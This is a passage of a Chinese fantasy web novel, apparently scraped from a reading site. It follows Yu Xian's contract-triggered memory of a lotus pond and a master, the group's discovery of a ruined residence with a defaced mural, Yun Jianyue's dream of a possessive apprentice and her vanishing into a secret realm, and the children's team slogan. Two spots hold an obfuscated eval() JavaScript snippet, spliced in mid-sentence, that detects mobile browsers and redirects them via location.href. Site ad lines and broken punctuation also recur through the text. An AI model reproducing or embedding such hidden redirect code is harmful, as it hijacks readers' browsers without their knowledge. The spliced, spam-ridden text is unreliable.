郁仙清晰地感觉到自己的识海中多了一道无比亲近的意识链接。 一个稚嫩又带着无比依赖的声音在她识海中响起: “吾,月影,愿认郁仙为主,永生永世,永不背弃。” 郁仙微微颔首,心神回应:“吾,郁仙,允你为仆,从今往后,吾必护你周全。” 就在这主仆契约彻底缔结的一刹那。 一股完全不属于郁仙的记忆,猛地通过那契约的连接,冲入了她的识海深处。 那也不是月影灵狐的记忆,而是深藏于它血脉最源头、属于它远古祖先,那只真正神兽九尾狐的传承记忆碎片。 而这深藏于血脉源头的记忆碎片,竟因这主仆契约的缔结,被奇迹般地触发了。 郁仙的眼前猛地一花,周围的森林以及同伴,瞬间模糊,远去。 她的“眼前”,浮现出一片梦幻般的景象:那是一片氤氲着浓郁灵雾的莲池,池水清澈见底,泛着淡淡的七彩霞光。 巨大的莲叶亭亭如盖,一朵如玉雕琢的青玉色莲花盛放其中,空气中弥漫着清雅的莲香与宁静祥和的道韵。 莲池旁,有一朵青色莲台,在那之上端坐着一位白衣女子。 她的身姿朦胧在灵雾与淡淡光晕之中,看不真切面容,只能感受到一种无法形容的、温柔而强大的气息,仿佛她就是这片天地宁静的核心。 莲台之下,有一穿着玄色衣衫的少年随意地靠坐于莲台下,姿态闲适,时不时往莲池中丢些鱼食,他的面 容同样模糊却透着一股朗朗少年气。 突然一道火红的光芒从天而降一只巨大的火鸟俯冲而下在接近莲台时化作红衣赤足的少年。 他的脚踝上有一圈火焰纹路 他的声音清脆充满了孺慕与欢欣。 那玄衣少年轻笑出声似乎说了句什么打趣的话。 红衣少年也不恼笑嘻嘻地转头看向莲池语气期待:“小莲花听祖师讲道千年也不知道什么时候能化形到时候就有娇软可爱的小师妹陪我玩了。” 他话音未落莲池水面“噗”地一声冒出一只肥嘟嘟、鳞片闪着金红光泽的锦鲤朝着红衣少年的方向调皮地吐出一连串晶莹的泡泡。 玄衣少年忍不住笑道:“你这小东西又开始调皮了信不信我把你变成烤鱼?” 他嘴上说着狠话却伸出纤细嫩白的手指轻轻戳了戳胖锦鲤的脑袋:“每天就知道吃都胖成球了。” 说完他又笑着用手指点了点旁边一朵含苞待放的青玉色莲花花瓣“小莲花你说是不是?你以后可别学它那么贪吃。” 那青玉莲花仿佛听懂了花瓣轻轻颤了颤似乎在回应。 …… 这幅画面美好得如同梦境。 郁仙看得痴了心中涌起一股莫名的熟悉感。 她拼命想看清那白衣女子的面容想看清那两个少年的样子想看清那锦鲤和莲花…… 可无论她如何努力他们的脸都笼罩在迷雾之后仿佛隔着一层永远无法穿透的纱。 直到那红衣少年再次清脆地喊出“祖师”两个字—— 如同一声惊雷在她灵魂最深处炸响! “祖师……” 一种无法言喻的、尖锐至极的心痛猛地席卷了她。 那痛楚来得如此汹涌如此陌生又如此熟悉仿佛跨越了无尽轮回时空精准地命中了她的心脏。 毫无预兆地大颗大颗的眼泪如同断线的珍珠从她清澈却瞬间弥漫上巨大悲伤的眼中滚落顺着她白皙的脸颊无声滑下。 她怔怔地站在那里仿佛灵魂还被困在那段突如其来的记忆里。 “三师妹?” “仙姐?” “你怎么了?” 周围的人察觉到了她的不对劲。 刚刚完成契约时还好好的怎么突然就……一动不动还流眼泪了? 郁仙猛地从那段幻境中抽离回神剧烈的悲伤却如同潮水般将她淹没。 她下意识地抬手摸上自己的脸颊指尖顿时一片冰凉的濡湿。 她……哭了? 为什么? 心口这突如其来的、撕扯般的酸楚是怎么回事? 她想止住这突如其来的眼泪可心底那股巨大的空落落的失落感根本无法控制。 仿佛她失去了什么极其重要、重要到刻骨铭心的东西心脏的位置缺了一块冷风呼呼地往里灌让她忍不住浑身发冷。 她的悲伤弥漫开来。 整个幽影森林仿佛感受到了它们“君王”的悲伤。 周围的树木无风自动枝叶发出沙沙的响声像在温柔地低语、安慰。 地上的灌木丛窸窸窣窣地响动起来柔嫩的藤蔓顶着一朵淡紫色的小花轻轻递到郁仙的眼前花朵微微摇曳试图吸引她的注意希望她能开心一点。 不知名的树木纷纷摇落大片大片五彩的花瓣漫天的花瓣如同雨般飘落红的、粉的、白的交织成一片美丽的花雨。 整个森林都在竭尽所能地哄她开心。 苏渺渺看到三师姐哭泣感性的她眼眶也红了泪水在眼眶里打转。 萧星尘、鹿闻声和江迷雾手足无措不知道该如何安慰。 铁峰抓耳挠腮急得不行。 墨妍蹲下身用最温柔的声音 从遇到郁仙开始这个孩子展现出的就是超越常人的强大、冷静和自持这是她第一次在他们面前流露出如此脆弱的情绪让人心疼不已。 郁仙抬起泪眼朦胧的眼睛声音带着罕见的哽咽:“我……我只是突然好想师尊” 这情绪来得毫无缘由却又汹涌得无法抗拒。 那记忆中的“祖师”……让她心痛得无法呼吸。 心脏像是被一只冰冷的手狠狠攥紧,又猛地撕扯。 暗处,一直静静观察的云见月,在看到郁仙那无声流泪、仿佛被全世界遗弃的悲伤模样时,心口发酸,几乎是下意识地就要迈步走出去。 她想将那个小小的人儿用力地、紧紧地抱进怀里,告诉她“师尊在。 然而,她的脚步最终还是顿住了。 只是那双清冷的眸子里,溢满了难以掩饰的心疼。 郁仙脸上还挂着未干的泪痕。 与她心神相连的月影灵狐最能感受到那份深切的悲伤。 它用毛茸茸的小脑袋,亲昵地蹭着她的腿,喉咙里发出轻柔的呜咽,试图安抚她的悲伤。 苏渺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧星尘快速权衡时间尚可此机遇或许与三师妹有关。 “好我们跟着去看看。” 于是他们在月影灵狐的引领下朝着森林深处进发。 月影灵狐对这条路极为熟悉灵活地在古老虬结的树根与密林间穿梭带路。 一路上周围的景物愈发古老幽深空气仿佛都沉淀了万载时光弥漫着一种未被世俗打扰的神秘气息。 郁仙越往前走心中的熟悉感和悸动就越强烈仿佛有一股无形的力量牵引着她指引她“归家”。 穿过一片荆棘屏障后眼前的景象豁然开朗一座残破却依旧宏伟的仙府出现在众人眼前。 虽已倾颓却仍能看出其昔日的宏伟轮廓与雅致格局。 断壁残垣的主入口上方依稀可辨四个古意盎然的大字——明月仙府。 两旁的石壁上刻着一副对联: 上联:雾散云开迎皓月 下联:月明千里照归人 郁仙看到这个名字和对联心中猛地一颤。 她不由自主地伸出小手抚摸过岩壁上已然模糊的莲花纹一种难以言喻的、针扎般的酸涩感混合着奇异的熟悉感涌上心头。 望着眼前这片显然已沉寂无数岁月的古老遗迹郁仙心中那股莫名的悸动达到了顶点。 这里似乎与她刚才那场突如其来的记忆有着某种难以言喻的联系 第120章 我的眼里只有祖师,可祖师为什么看不到我 月影灵狐停在这片废墟前,发出悠长而带着眷恋的鸣叫,回头看着郁仙,紫金色的眼眸里充满了期待,似乎是期待着她能想起什么。 所有人都被眼前的景象所吸引,意识到这处遗迹绝不普通。 墨妍抚摸着冰冷粗糙刻满岁月痕迹的洞府岩壁,感叹:“没想到幽影森林深处还藏着这样一处地方,如此隐蔽,若非月影灵狐带领,恐怕根本无人能发现。” 铁峰打量着那苍劲的古字,咋舌道:“明月仙府?看这风化和雕刻纹路的古朴程度,这处仙府存在的时间恐怕得以万年计,怕是某位上古大能的清修洞府。” 萧星尘、鹿闻声、江迷雾和苏渺渺在看到这洞府名字和格局的刹那,眼底都极快地闪过一抹难以捕捉的、源自灵魂深处的熟悉感。 但那感觉消逝得太快,当他们试图去仔细回想或捕捉时,却什么都抓不住,细想之下,脑中空空如也。 怀着好奇与敬畏,一行人踏入仙府内部。 仙府内异常宽阔,却也十分空旷清冷,历经万载岁月,早已不复当年模样。 唯有一座光洁的石床静静放置在角落,显示出此处曾有人居住。 最引人注目的,是正面那一片巨大的石壁,上面雕刻着一幅庞大的壁画。 壁画上刻画着七个人和一只白虎。 一名白衣女子端坐于中央,气质温婉而强大,怀中抱着一只憨态可掬的小白虎。 五个年纪尚小的弟子嬉戏围绕在她膝下,承欢笑语仿佛能透壁而出。 唯有一个身着青衣的女子,站在稍远一些的地方,她没有看向别处,目光无比专注地、深深地落在中央的白衣女子身上。 青衣女子身姿挺拔,英气逼人,眉如远山含黛,目若秋水流光,本是绝世之姿,但那眼神深处,却透着一股近乎偏执的炽热与阴郁。 一种强烈的,几乎要破壁而出的占有欲,让她美丽的面庞带上了一种令人不安的、扭曲的执念感。 令人扼腕的是,壁画上除了这名青衣女子和那只小白虎的脸完好无损,其余所有人的面容,都被人用利刃狠狠划花了,破碎的刻痕触目惊心,似乎充满了难以言说的恨意与决绝。 墨妍和铁峰看着这幅画,不禁发出感慨。 “看样子, 中间这位白衣女子,应当是他们的师尊,真是可惜了,不能一睹上古大能的风采。”墨妍叹道,目光扫过那些被毁的容颜。 铁峰指着那青衣女子:“这青衣女子长得是真好看,我在修仙界就没见过这么好看的女子.就是就是她看那白衣女子的眼神,怎么感觉怪怪的?不像徒弟看师父” “像什么?”墨妍追问。 铁峰努力搜刮着词汇:“说不上来,反正不像徒弟看师父,那个词怎么说来着……占占有欲!对!就是占有欲!看得人心里有点发毛。” 他嘿然一笑,试图用玩笑冲淡这诡异的感觉,“嘿嘿,徒弟多了也挺难,做师尊要是做不到一碗水端平,难免有徒弟心里不平衡闹别扭呗。” 墨妍闻言,下意识地看向身边的五个小家伙,心想:他们的师尊定然是极好的,才能将这五个小祖宗养得既软萌可爱,又强大得如此离谱,且彼此间感情深厚。 郁仙的目光先是落在青衣女子脸上,那女子生得绝世容颜,眉梢眼角却带着一股化不开的阴郁,仿佛她的喜怒哀乐都系于白衣女子一人身上,让她心头莫名一紧,泛起一种本能的排斥。 随即,她的视线不由自主地落在那白衣女子身边的一个绿衣少女身上。 不知为何,那绿衣小童的身形姿态,给她一种那分明就是长大后的她自己的感觉。 可绿衣少女的脸,同样被无情地划烂,根本看不清容貌。 最后,她的目光定格在白衣女子身上。 萧星尘、鹿闻声、江迷雾和苏渺渺也同样如此,目光都不由自主牢牢地看着白衣女子。 尽管面容已毁,但那身影,那感觉…… “师尊……”郁仙无意识地轻声喃喃。 洞府内寂静无声,她这一声低语,墨妍和铁峰听得一清二楚。 铁峰失笑:“仙姐,那怎么可能是你们的师尊?这壁画一看就几万年了,上面的人物怕是早已作古,身化黄土了。” 苏渺渺却像是被点醒般,指着白衣女子,软软道::“可,她就是很像师尊,还有她怀里抱着的小老虎,和小白长得一模一样。” 墨妍和铁峰只当他们是思师心切,产生了错觉。 墨妍拍拍手,将大家的注意力拉回来:“好啦,这里除了这幅破 败的壁画,也没什么特别的了。我们该离开幽影森林了,还得赶往葬魂峡谷呢。万一再遇到兽潮,可就真的麻烦了。” 小家伙们闻言,这才依依不舍地收回目光,一步三回头地跟着墨妍和铁峰向外走去。 离开前,郁仙又深深地回望了一眼壁画上那个青衣女子的脸,将那绝世姿容深深印刻在心里。 明明是初见,她却对这个女子有着莫名的抵触。 待他们离去后,云见月、虞青焰、苏心瑶和林思思才从暗处现身。 云见月驻足在那残破的府门前,目光扫过“明月仙府”四个古字以及那副“雾散云开迎皓月,月明千里照归人”的对联,心中毫无征兆地蓦然一痛,一股难以言喻的、深沉的伤感如同潮水般涌上,让她一时间怔在原地,失了神。 苏心瑶和林思思随意看了一眼,觉得这废墟并无甚稀奇,便往洞府内走去。 走了几步发现云见月没跟上,回头催促道:“云见月,你不进来看看吗?” 云见月回神,压下心中那莫名的悸动,抬步跟了进去。 洞府内空旷寂寥,岁月的痕迹无处不在。 云见月环顾四周,一股强烈的,诡异的熟悉感扑面而来。 这股熟悉感非但没有带来慰藉,反而让她心慌意乱,仿佛触碰到了某个不该触碰的禁忌。 那石床的方位,那空气流通的感觉,那壁画的布局…… 她十分确定,无论是自己还是原主的记忆,都从未涉足过此地。 可这莫名的熟悉感,究竟从何而来? 当她仔细打量壁画时,整个人如遭雷击,瞬间愣在了原地。 那被毁坏的壁画,那中央的白衣身影,那五个嬉戏的孩童,那只小白虎,尤其是……那个青衣女子。 她的目光死死盯在青衣女子那张清晰无比、美丽却偏执的脸上,瞳孔瞬间放大,识海仿佛被一根烧红的钢针狠狠刺入。 “呃啊——”撕裂般的痛楚猛地炸开,云见月闷哼一声,眼前骤然发黑,天旋地转,身形控制不住地踉跄后退。 “云见月!”虞青焰脸色一变,眼疾手快地一把将她软倒的身体揽入怀中,声音带着罕见的急切,“你怎么了?” 苏心瑶和林思思也吓坏了,连忙围上来。 云见月强忍着那几乎要劈开她头颅的剧痛,倔强地再次看向那个青衣女子。 脑海中仿佛有无数模糊的碎片在疯狂冲撞,想要拼凑出什么,却又被无形的力量死死压制。 她越想看清,那痛 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她的眼神病态而专注,饱含着无尽的渴望与不甘,“我只是希望祖师的目光能多放在我身上一点,再多一点,有错吗?” “为什么?祖师您为什么要收别人为徒?” “有我一个还不够吗?” “我可以学得很快,我可以变得很强,我能一直一直陪着您.” 她的语气逐渐激动,充满了怨愤,“祖师,是您太贪心了啊!” 画面一转,青衣女子猛地跪倒在她面前,双手死死箍住她的腰身,力道大得几乎要将她揉碎,融入自己的骨血之中。 她的声音绝望而哀恸:“徒儿的心里眼里从始至终都只有祖师您一个啊!可为什么,为什么您的眼里总是装着别人,就是看不到我呢?” “难道就因为我天赋最好,最让您省心,所以就不需要您的关注,不配得到您的传道授业了吗?我不甘心啊祖师,我真的好不甘心啊……” 场景再次变幻,青衣女子脸上带着 一种近乎癫狂的、扭曲的快意和深入骨髓的痛苦,喃喃道:“所以,我挖了您最喜欢的徒弟的莲心,我想,您在痛苦的时候,是不是就能想起我了?哪怕是恨我也好,至少,不会再忽视我。 她抬起泪眼,笑得凄美而绝望:“为了得到祖师的瞩目,哪怕是与虎谋皮,被人利用,我也甘之如饴 很快,她的神色又变得像个迷路的孩子,无助地抓着祖师的衣角,跪在地上卑微祈求:“祖师,我没想过要祸乱苍生,小舞知错了,您别不要我,求求您别抛下我,好不好? 梦境中,面对她这番泣血的哭诉与忏悔,响起的却是一道温柔而疲惫,充满了无尽自责与悲悯的声音。 那声音,仿佛来自云端。 “是为师的错。 “为人师者,自当一视同仁,有教无类,可为师却因你天赋最高,心性最是聪慧坚韧,便下意识地认为你无需过多照拂,忽略了你心中的渴望与不安,是为师没有将你教好。 “徒弟闯祸,做师傅的难辞其咎,此间业障,皆由我起。 “吾愿以此神魂、血肉、通身修为道果,献祭天地,弥补裂隙,平息怨怼,换天地清宁,苍生一线生机…… 梦境的最后,是无尽的光芒与消散的身影,以及青衣女子那撕心裂肺,响彻寰宇的绝望哭喊:“不——祖师——!!! 伴随着这声绝望的哭喊,整个梦境世界开始崩塌碎裂,化作无尽的虚无…… 石床之上,昏迷中的云见月,眼角悄然滑下一行清泪,没入鬓角。 第121章 云见月凭空消失,苏心瑶惊骇欲绝 平日里沉稳如渊的虞青焰眼底翻涌着罕见的焦躁。 他不断将灵力输入到云见月体内,仔细探查着她的状况,却发现她的神魂异常动荡,整个人陷入梦魇无法自拔,寻常的丹药根本难以渗透起效。 他素来从容的面容染上一层青白,沉声道:“不行,她的神魂不稳,若不能挣脱梦魇,长久下去,恐损伤道基。” 苏心瑶急得如同热锅上的蚂蚁,将自己储物袋里的瓶瓶罐罐全都掏了出来,手忙脚乱地翻找:“我这有上好的清心丹、凝魂丹、定魂丹……虞青焰,你看看哪个有用?快试试!” 林思思也手足无措,她警惕地环顾着这空旷寂寥的洞府,目光最终死死锁在那幅诡异的壁画上。 “怎么会这样?只是看了一眼壁画而已啊,” “难道是这壁画搞的鬼?可为什么我们看了就一点事都没有?独独针对云见月?” 三个人面面相觑,一时间都有些六神无主们。 虞青焰坐在石床前,看着云见月苍白的面容,眼神明灭不定,快速思索着所有可能的方法。 苏心瑶在石床前来回踱步,脑子里乱成一团浆糊。 突然,她猛地停下脚步,再次看向那幅壁画,不甘心地走上前,仔仔细细、一寸一寸地打量起来,试图找出任何不对劲的地方。 “我也看不出有什么不妥啊。”她喃喃自语,下意识地伸出手,想去触摸壁画。 然而,就在她的指尖刚刚触碰到冰冷岩壁的瞬间—— 墙面突然发出不堪重负的“咔嚓”声,整幅壁画如被风化千年,轰然坍塌。 “轰隆!!!” 巨大的墙面砸落在地,瞬间摔得粉碎,扬起漫天灰尘,紧接着,那些碎片竟以肉眼可见的速度风化,最终化为一地齑粉。 苏心瑶被这突如其来的变故吓得猛然后退一步,彻底懵了,看着自己刚刚碰过墙壁的手指,结结巴巴地道:“我、我就轻轻一碰……它、它怎么就……肯定是年份太久,彻底风华了……” 虞青焰只是淡淡地瞥了一眼那堆废墟,眼中闪过一丝极快的疑虑,但随即便将全部注意力重新放回云见月身上。 如此巨大的动静,昏迷中的云见月却毫无反应。 更糟糕的是,此刻她周身 的灵力如同脱缰的野马,开始不受控制地剧烈**起来,冰寒刺骨的气息以她为中心骤然扩散,洞府内的温度瞬间骤降,石床上甚至凝结出了一层薄霜。 虞青焰修为高深,尚能抵御,但苏心瑶和林思思却忍不住打了个寒颤,脸色发白,有些承受不住这股强大的寒意。 虞青焰立刻出手,温和的灵力源源不断地涌入云见月体内,努力帮她疏导安抚那些狂**窜的灵力。 就在这时,他听到云见月的唇边溢出一声声断断续续的呓语。 他心中一紧,立刻俯身侧耳倾听。 “是为师的错……未能好好引导你……” “……苍生何辜……业障……皆由我起……以我……神魂……道果……换……一线生机……”她眉头紧蹙,冷汗浸透鬓角,每吐出一个字都仿佛用尽全身力气。 这些零碎而沉重的词语,仿佛一把把锤子,重重敲在虞青焰的心上。 他虽然无法拼凑出全貌,却也能感受到那梦境中的惨烈、悔恨与巨大的牺牲。 他看着云见月的目光变得越发复杂,甚至觉得面前的人有些陌生。 仿佛,两人根本就不是一个世界的人。 确切的说,不是一个层级的人。 明明此刻的她如此虚弱,可他的心里却无端生出了一种高不可攀之感。 “云见月,你到底是谁?” 他压下内心的不安,持续帮她疏导灵力,然而,刚刚安抚好的灵力,过不了多久又会再次变得紊乱狂躁。 虞青焰心沉了下去,他知道,根源在于那困住她的梦魇。 只要她不清醒,无论疏导多少次都是徒劳。 他深吸一口气,做出了一个艰难的决定:“看来,别无他法了。我必须释放神识,尝试进入她的识海,将她从梦魇中拉出来。” 苏心瑶和林思思闻言,顿时瞳孔骤缩。 她们深知,识海是修士最核心、最敏感的禁区,绝不允许外人神识轻易进入。 那意味着自身所有的记忆、秘密乃至弱点都将毫无保留地暴露在对方面前。 识海本身也具有极强的排外性,外部神识的闯入极易引起识海本能的反击和剧烈震荡,轻则神魂受创,重则可能会身陨道消。 她们本 能的想要阻止。 可是。 看着云见月越发苍白的脸色和周身越来越不稳定的灵力,她们也知道,虞青焰说的是目前唯一可能有效的方法。 苏心瑶声音发颤:“你确定自己能行吗?万一你伤到了她的识海怎么办? “我就算伤了自己,也不会伤了她。虞青焰的神色是从未有过的坚定。 苏心瑶犹豫了一下,道:“那那你一定要万分小心,一旦感受到她的识海剧烈排斥,千万不要硬闯。 “嗯。虞青焰郑重点头。 他深深凝视着云见月,低声道:“云见月,你我相识至今,你当知我虞青焰的为人。今日冒犯,实属不得已。我绝不会窥探你任何隐私,只想将你从噩梦中唤醒。 说完,他闭上双眼,小心翼翼地分离出一缕极其柔和的神识,如同最轻柔的触须,缓缓探向云见月的眉心,尝试着接触她的识海外围。 然而,就在他的神识刚刚触及的刹那—— 处于极度自我保护状态下的云见月的神识,本能地做出了反应,直接与灵墟秘境连接。 下一秒,就在虞青焰、苏心瑶和林思思的眼前,躺在石床上的云见月,身影骤然变得模糊,随即消失得无影无踪。 “. 死寂般的沉默持续了三息。 苏心瑶和林思思惊骇欲绝,同时失声惊呼,“云见月—— 而就在云见月消失的同一时刻,她整个人掉入了秘境的灵泉中。 清澈的池水,水底开始“咕嘟咕嘟地冒出无数细密的气泡,仿佛水被煮开了一般,整个灵泉漫开一股浓郁到极致的灵气。 紧接着,一座散发着朦胧青辉的莲台破水而出,莲瓣如玉,道韵天成。 而云见月正安然端坐于莲台之上,双眸紧闭。 她周身被氤氲的灵气雾气所笼罩,白衣胜雪,宛如谪仙。 眼前的景象,竟与郁仙之前通过契约看到的那些记忆碎片,有着某种惊人的神似…… 更令人震惊的是,一株株翠绿欲滴的荷叶以不可思议的速度破水而出,舒展蔓延,转眼间便是亭亭如盖,几乎覆盖了整个水面。 那些叶片边缘泛着银蓝光晕,叶脉间流淌着液态的月光,在云见月身边铺开。 她周身雾气蒸腾,白衣无风自动,发间滴落的水珠竟在空中凝成悬浮的冰晶,折射出七彩光晕。 与此同时,整个秘境的灵气仿佛受到了召唤,疯狂地向云见月汇聚而来,在她头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453374|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶形成一个巨大的、肉眼可见的灵气漩涡。 她身上原本因昏迷而起伏不定的气息,此刻不仅彻底平稳,更开始节节攀升。 她不久前才突破的化神中期修为壁垒,此刻竟隐隐松动,眼看着就要触摸到化神后期的门槛。 而她,已进入了深度入定状态,开始本能地牵引着浩瀚灵气,向那更高的境界发起冲击。 秘境之外,不明所以的苏心瑶和林思思已经惊呆了。 “云见月呢?她、她怎么突然就不见了?这洞府到底有什么邪门机关?苏心瑶声音带着颤抖。 林思思也脸色发白,拉住苏心瑶:“这地方太诡异了,我们……我们快走吧? “可是我们走了,云见月怎么办?她到底去哪里了?!苏心瑶又怕又急。 虞青焰只是最初怔愣了一下,随即立刻意识到了什么。 他紧绷的心弦稍稍放松,神色恢复了平日的淡然,只是眼底深处还藏着一丝未散的担忧。 “她没事。 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节)他语气肯定。 “没事?苏心瑶指着空荡荡的石床,“人都凭空消失了,你告诉我她没事?那她人呢?你倒是说啊! 虞青焰的态度是她们从未见过的冷漠和强硬,“我说她没事便是没事,具体的你们不必多问,也无需知道。你们在此也帮不上任何忙,不如立刻出发,去追上星尘他们,暗中护着,若他们遇到应付不来的危险,你们两人还能及时出手。 平日里总是笑嘻嘻、玩世不恭的虞青焰突然如此冷脸强硬,强大的气场瞬间震慑住了苏心瑶和林思思。 两人看着他深邃而不容反驳的眼神,虽然心中依旧充满了担忧和疑问,却也明白再问下去也不会得到答案。 苏心瑶咬了咬唇,最终妥协道:“……好,我们去。但你保证,绝对、绝对不能让她有事! “我保证。虞青焰郑重道。 苏心瑶和林思思最后担忧地看了一眼云见月消失的地方,终究还是一步三回头地离开了洞府,朝着幽影森林外追去。 待她们走后,洞府内只剩下虞青焰一人。 他脸上强装的冷静瞬间消散,眉头紧紧蹙起。 “云见月…… 他低声自语,声音里带着自己都未曾察觉的紧绷,“你千万不能有事,你若出了事,你那五个宝贝徒儿,该怎么办?我又…… 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) 他顿了顿,将后半句话咽了回去,只是目光更加深沉。 与此同时,幽影森林边缘。 温暖的阳光洒在刚刚走出森林的萧星尘一行人身上,驱散了连日来的血腥与阴霾,每个人都感到一阵难得的舒畅。 郁仙的情绪依旧不高,默默用神识与月影灵狐交流。 “月影,你可知那段传承记忆,究竟是怎么回事? 月影灵狐虽然开启了灵智,但灵智初开,如同稚童,表达得并不清晰,只能传递一些模糊的感受和碎片化的意念。 但郁仙大致明白了它的意思:因为它身负一丝远古神兽九尾狐的血脉,那段记忆,极可能是九尾狐先祖亲身经历的,并且是对那位先祖而言至关重要、刻骨铭心的场景,因此才得以跨越漫长时光,如此深刻地烙印在血脉深处,传承了下来。 第122章 十万年前的神魔大战,神剑劈出了葬魂峡谷 郁仙的情绪有些低落,小脸上没什么表情,只是沉默地跟着队伍前行。 墨妍心思细腻,第一时间注意到了她的异常。 她悄悄扯了扯身旁铁峰的衣角,朝郁仙的方向努了努嘴,递过去一个眼神。 铁峰收到信号,黝黑的脸上立刻浮现出一抹略显笨拙的憨笑。 他突然扯着嗓子,夸张地指向天边一朵被夕阳染上金边的云:“仙姐,仙姐你快看!那朵云像不像一只超大号的鸡腿?” 他试图用食物引起郁仙的注意。 郁仙淡淡地扫了一眼,轻声应了句:“像。” 语气平缓,没有波澜,随即她又敛下眼眸,恢复了之前的沉默。 努力失败,铁峰的笑僵在脸上。 墨妍见状,走到郁仙身边,语气轻快而自然:“仙姐,这次幽影森林的任务,真是多亏了你和尘哥,还有大家的齐心协力,我们才能化险为夷。 我在想,咱们现在也算是一起经历过生死的团队了,我和阿峰组成的这个‘玄天护卫队’,是不是也得有个响亮点的口号? 就像你们‘玄天拆迁队’那样,一听就霸气侧漏,让人未战先怯的,不如就趁着赶路无聊,咱们一起琢磨琢磨口号?” 这话果然精准地戳中了郁仙的兴趣点,她眼中闪过一丝思索的光芒,一直微抿的唇角似乎放松了些许。 旁边的萧星尘、鹿闻声、江迷雾和苏渺渺一听要搞新口号,立刻兴奋地围了过来,七嘴八舌地开始讨论,气氛瞬间活跃起来。 铁峰看着这阵势,眼皮直跳,偷偷凑到墨妍耳边,压低声音,“阿妍,你还真想要口号啊?这……这多丢人啊,跟小孩子过家家似的。” 墨妍斜了他一眼,用气声道:“笨!我这不是为了转移仙姐的注意力吗?你看她是不是比刚才好点了?” 铁峰看着郁仙渐渐舒展的眉头,无奈地叹了口气,“罢了,只要仙姐高兴,我们……丢脸就丢脸吧!大不了以后喊口号的时候蒙面!” 经过一番热烈的讨论,“玄天护卫队”的专属口号终于新鲜出炉了。 只见五个小家伙迅速站好位置,努力摆出自己认为最威武的姿势,小脸上满是认真。 萧星尘挺着小胸脯,“现在,我们给你们示范一下, 你们可得看好了。 墨妍和铁峰顿时挺胸收腹,一脸认真。 萧星尘目光如电,声若雷霆:“天塌了? 鹿闻声立刻配合,重重一脚跺在地上:“地陷了? 郁仙摆出攻击的架势,眼神锐利:“魂散了? 江迷雾态度从容,周身灵力流转:“魄飞了? 苏渺渺小脸严肃,眼神锁定前方虚空,软糯却坚定地接上最后一句,“你们的末日到了! 紧接着,五人瞬间变换队形,气势融为一体,用最大的奶音齐声怒吼: “玄天护卫队! “遇见你倒霉! “你们负责拆! “我们负责埋! 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 苏渺渺站在C位,深吸一口气,用吃奶的劲儿拖出长长的、甜甜的音调:“埋——!!!(^_-) 现场一片死寂。 孩子们得意洋洋地展示完口号和姿势,期待地看着墨妍和铁峰。 墨妍和铁峰看着眼前这五个摆着奇葩姿势、喊着羞耻口号的小豆丁,嘴角控制不住地疯狂抽搐,老脸瞬间红得发烫。 他们已经能脑补出对敌之时,对方杀气腾腾,他们这边突然喊出这口号……那场面,简直是社会性死亡瞬间,足以让敌人笑到丧失战斗力。 但是,对上那五双纯净无比、充满期盼、闪烁着“求表扬的大眼睛,墨妍和铁峰只能硬生生咽下所有吐槽,挤出比哭还难看的笑容,竖起大拇指,违心夸赞: “好……好口号!霸气!响亮!绝对过耳不忘! “呃……对!特别有特色!一听就知道是咱们……呃……独一无二的风格! “不过.铁峰突然灵光一闪,找到了“拖延的借口,“你们是五个人,我和阿妍只有两个人,人数对不上,气势就弱了。 萧星尘微微一笑:“没关系,我相信,以我们玄天拆迁队的魅力,未来一定还会有人像你们一样,被我们的魅力折服,主动请求加入的。届时,凑够了五个人,这套威力无穷的口号就能正式用上了。 墨妍:“……不,并不会!这种魅力还是不要有的好! 铁峰:“……尘哥,求你了,别再吸引这种需要喊口号的人才了! 孩子们才 不管大人内心的崩溃,得到“认可后,立刻欢呼起来,成就感爆棚。 看着他们纯真的笑脸,墨妍和铁峰对视一眼,都在对方眼中看到了同样的无奈和纵容。 只要这些小祖宗开心,这点羞耻感……他们扛了。 一路欢声笑语,众人朝着葬魂峡谷而去。 远远望去,峡谷上方笼罩着一层血色残阳,将天际都染得一片昏红。 等靠近了,方能看清这峡谷的全貌。 这处峡谷地势无比险峻,两侧山崖高耸,陡峭得令人窒息,但岩壁光滑如镜,仿佛被一柄巨剑生生劈砍而成。 凄厉的风声穿过狭窄的峡谷,发出令人心悸的呜咽声,其间似乎还夹杂着无数古老战魂不甘的呐喊与金铁交击的虚幻回响,听得人头皮发麻。 尚未踏入,一股苍凉、肃杀、磅礴至极的剑意便如同实质般弥漫在空气中,压得人心头沉甸甸的。 感受到剑意的江迷雾,非但没有畏惧,反而浮现出一抹难以抑制的兴奋与灼热。 他的天生剑骨,本命剑胚都在为此地残留的剑意而嗡鸣、悸动。 他忍不住好奇地追问:“阿妍姐姐,这里不是叫葬魂峡谷吗?为什么会有这么重的剑意? 墨妍望着那巨大的峡谷裂痕,面色变得肃穆。 “因为这里,并不仅仅是亡魂的安息之地。 “传说,十万年前,一场几乎毁灭三界的惊天大战在此爆发。引发浩劫的,竟是受万物敬仰的四方神兽之首——青龙神君。 她的话语将众人的思绪拉回到那遥远的年代。 “无人知晓缘由,青龙神君为何背弃了三界誓约,与魔族为伍,麾下万千妖魔撕裂空间,降临青云大陆。 那一战,苍穹泣血,大地崩裂,日月无光。仙界精英十不存一,人界生灵涂炭,万千城池化为焦土,地界轮回之路被硬生生打断,亡魂不得往生,哀鸿遍野…… 她的声音带着深深的悲怆,仿佛亲眼见证了那场末日般的景象。 